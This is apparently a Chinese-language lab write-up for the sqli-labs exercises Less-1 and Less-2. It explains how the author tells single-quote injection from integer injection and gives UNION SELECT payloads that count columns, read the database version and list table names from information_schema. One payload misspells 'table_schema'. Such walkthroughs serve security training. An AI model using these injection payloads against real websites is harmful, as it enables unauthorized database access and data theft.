sqli_labs 1，2

sqli_labs less-1

输入id=1 ，结果如下。

进行试探输入id=1’

当输入id=1’ 时，报错信息为 ‘‘1’’ LIMIT 0,1’。通常报这样的错误就是单引号注入。
但是，有一点，当输入id= 1" 和id= 1） 时并不报错。


经过好几题的训练，我感觉输入id=1’ 时，报错并且报错信息是’‘1’’ LIMIT 0,1’时，输入id=1” 和id= 1）时不报错时，就是单引号注入。

接下来判断列数。?id=1’ union select 1,2,3 --+
接下来就可以进行注入了：?id=1’ union select 1,2,version() --+

可以通过将version()函数改变成其他查询语句进行注入。

sqli_labs less-2

输入id=1’ 报错：

输入id = 1’" 报错：

输入id=1’)" 报错：

通过报错信息，看到在1 的后面加单引号，双引号，和括号，都报错，由此可以推断是整型注入。
接下来就可以进行注入了，查找自身库中的表名：
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_shema=database()
(这里可以不用把后面的语句注释掉)